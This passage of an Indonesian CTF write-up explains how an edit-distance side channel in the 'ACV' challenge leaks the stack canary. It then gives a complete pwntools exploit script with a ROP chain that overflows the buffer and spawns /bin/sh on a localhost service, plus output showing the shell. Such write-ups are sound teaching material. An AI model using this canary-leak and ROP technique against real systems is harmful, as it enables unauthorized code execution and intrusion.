Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 14.286%


Name 1: z
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 14.286%


Name 1: xyz
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 37.500%


Name 1: rtg
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 18.750%


Name 1: xyg
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 31.250%

Name 1: yzx
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 25.000%
```

Kita fokus pada 3 karakter terakhir *string* kedua karena *canary* akan berada pada posisi itu apabila *overflow* yang tepat terjadi. *Behavior* dari nilai ACV ini yang berguna sebagai informasi untuk melakukan *leak* pada *canary* adalah:

1. Apabila *string* pertama berisi satu karakter dan karakter ini ada pada 3 karakter terakhir *string* kedua, maka persentase ACV-nya lebih tinggi dibandingkan apabila tidak ada.
2. Apabila *string* pertama berisi tiga karakter dan ketiganya itu merupakan tepat tiga karakter terakhir *string* kedua maka persentasenya lebih tinggi dibandingkan apabila bukan.
3. Apabila *string* pertama berisi tiga karakter tetapi bukan tepat tiga karakter terakhir *string* kedua tetapi mengandung karakter yang ada di tiga karakter *string* kedua atau merupakan permutasinya, maka presentasinya juga lebih kecil.

Karena ada batasan komputasi ACV sebanyak hanya 275 kali saja dalam satu kali program berjalan, maka strategi berikut dapat dilakukan untuk melakukan *leak* nilai dari Canary dan melakukan *overwrite* pada eip tanpa adanya *stack smashing* yang terdeteksi.

1. *Brute force* untuk mencari *byte* apa saja yang terkandung dalam *canary*. Caranya adalah dengan mengirim 256 *request* untuk tiap *byte* berbeda-beda yang dimasukkan sebagai *string* pertama. *String* kedua diisi dengan karakter sampah (misal, 'b') sebanyak 129 buah. Selanjutnya, perhitungan *edit distance* akan dilakukan dengan mengikutsertakan 3 *bytes canary* pada *string* kedua. Apabila *byte* terkandung dalam *canary*, maka nilai persentasenya akan paling tinggi. Dalam kasus ini, persentasenya adalah 1.504%. Cara ini akan gagal apabila Canary mengandung *byte* yang sama dengan karakter sampah tetapi kemungkinan ini cukup kecil dan apabila terjadi, cukup lakukan *brute force* sekali lagi.
2. Cari urutan *byte* yang benar. Hanya ada tiga faktorial atau 6 kemungkinan urutan *byte* sehingga hanya butuh 6 kali *request*. Urutan yang benar akan memiliki nilai persentase yang paling tinggi. Dalam kasus ini, persentasenya adalah 4.444%.
3. Lakukan *dummy request* (apa saja asal tidak terlalu panjang) untuk 12 *request* berikutnya.
4. Untuk *request* terakhir (ke-275), masukkan 128 karakter sampah, 4 *bytes* Canary (termasuk *null*-nya), 12 karakter sampah, dan alamat yang akan dimasukkan ke eip. Dari sini, *return oriented programming* (ROP) dapat dilakukan.
5. Buat ROP *chain* dari berbagai instruksi yang ada di *binary* karena *binary* sudah *statically linked*, misal, untuk mengeksekusi *shell*. Untuk mempermudah, ROP *chain* yang di-*generate* menggunakan *tool* semacam ROPgadget dapat digunakan.

Sebagai catatan, ada *unintentional difficulties* yang akan mempersulit peserta dalam melakukan ROP, yaitu adanya *overwrite* terhadap *byte* ke-16 dari alamat ret awal menjadi `0x0a` setelah pengisian memori. Hal ini dapat mempersulit peserta yang tidak melakukan *tracing* untuk menguji eksekusi ROP atau hanya mengandalkan *tool* ROPgadget saja tanpa mengerti ROP *chain* itu sendiri. Hal ini dapat diakali dengan memasukkan *gadget* asal yang tetap *valid* pada posisi tersebut. Untuk lebih jelasnya, dapat dilihat pada contoh *exploit script* yang dapat digunakan untuk mengeksploitasi soal ini. Program berjalan sebagai TCP *service* di *localhost* pada port 12345.

```
from pwn import *

r = remote('localhost', 12345)

canary_bytes = []

"""
Will fail if canary contains ord('b') or 0x62.
If failed, run this script again
"""

for i in range(0, 256):
    x = i
    if (x % 256 == ord('\n')): x = 0
    if (x % 256 == ord('b')): x = 0
    name1 = chr(x % 256)
    name2 = 'b' * 129
    r.sendline(name1)
    r.sendline(name2)
    resp = r.recvuntil('%')
    value = resp[-6:]
    if (value == "1.504%"):
        canary_bytes.append(chr(i))

for i in range(0, 3):
    for j in range(0, 3):
        for k in range(0, 3):
            if (i == j) or (i == k) or (j == k):
                continue
            test = canary_bytes[i] + canary_bytes[j] + canary_bytes[k]
            name1 = test
            name2 = 'b' * 129
            r.sendline(name1)
            r.sendline(name2)
            resp = r.recvuntil('%')
            value = resp[-6:]
            if (value == "4.444%"):
                canary = '\x00' + test

canary_info = p32(int('0x' + canary.encode('hex'), 16))
canary_info = '0x' + canary_info.encode('hex')
log.info("Canary: " + canary_info)

# ROP Chain
p = ""
p += p32(0x080703fa) # pop edx ; ret
p += p32(0x080ec060) # @ .data

"""
Special note:
We pop eax with '/bin' twice because program will overwrite 16-th bytes from original
ret to 0x0a after we overflow the buffer.
First pop eax will pop eax with '/bin\n' (0x0a = newline).
Second pop eax will pop eax with correct '/bin'.
"""
p += p32(0x080b9a86) # pop eax ; ret
p += '/bin'
p += p32(0x080b9a86) # pop eax ; ret
p += '/bin'

p += p32(0x08055f9b) # mov dword ptr [edx], eax ; ret
p += p32(0x080703fa) # pop edx ; ret
```

```
p += p32(0x080ec064) # @ .data + 4
p += p32(0x080b9a86) # pop eax ; ret
p += '//sh'
p += p32(0x08055f9b) # mov dword ptr [edx], eax ; ret
p += p32(0x080703fa) # pop edx ; ret
p += p32(0x080ec068) # @ .data + 8
p += p32(0x08049a43) # xor eax, eax ; ret
p += p32(0x08055f9b) # mov dword ptr [edx], eax ; ret
p += p32(0x080481d1) # pop ebx ; ret
p += p32(0x080ec060) # @ .data
p += p32(0x08070421) # pop ecx ; pop ebx ; ret
p += p32(0x080ec068) # @ .data + 8
p += p32(0x080ec060) # padding without overwrite ebx
p += p32(0x080703fa) # pop edx ; ret
p += p32(0x080ec068) # @ .data + 8
p += p32(0x08049a43) # xor eax, eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0807ba2f) # inc eax ; ret
p += p32(0x0806dfd5) # int 0x80

for i in range(0, 12):
    name1 = "dummy"
    name2 = "dummy"
    r.sendline(name1)
    r.sendline(name2)

log.info('Trying to spawn shell')

name1 = "a"
name2 = "b" * 128 + canary + "a" * 12 + p
r.sendline(name1)
r.sendline(name2)

r.interactive()
```

```
$ python solution-acv.py
[+] Opening connection to localhost on port 12345: Done
[*] Canary: 0xe1d48900
[*] Trying to spawn shell
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu)
groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),4
4(video),46(plugdev),110(netdev),111(lxd)
$ uname -a
Linux ubuntu-yakkety 4.8.0-46-generic #49-Ubuntu SMP Fri Mar 31 13:57:14 UTC 2017 x86_64
x86_64 x86_64 GNU/Linux
$
```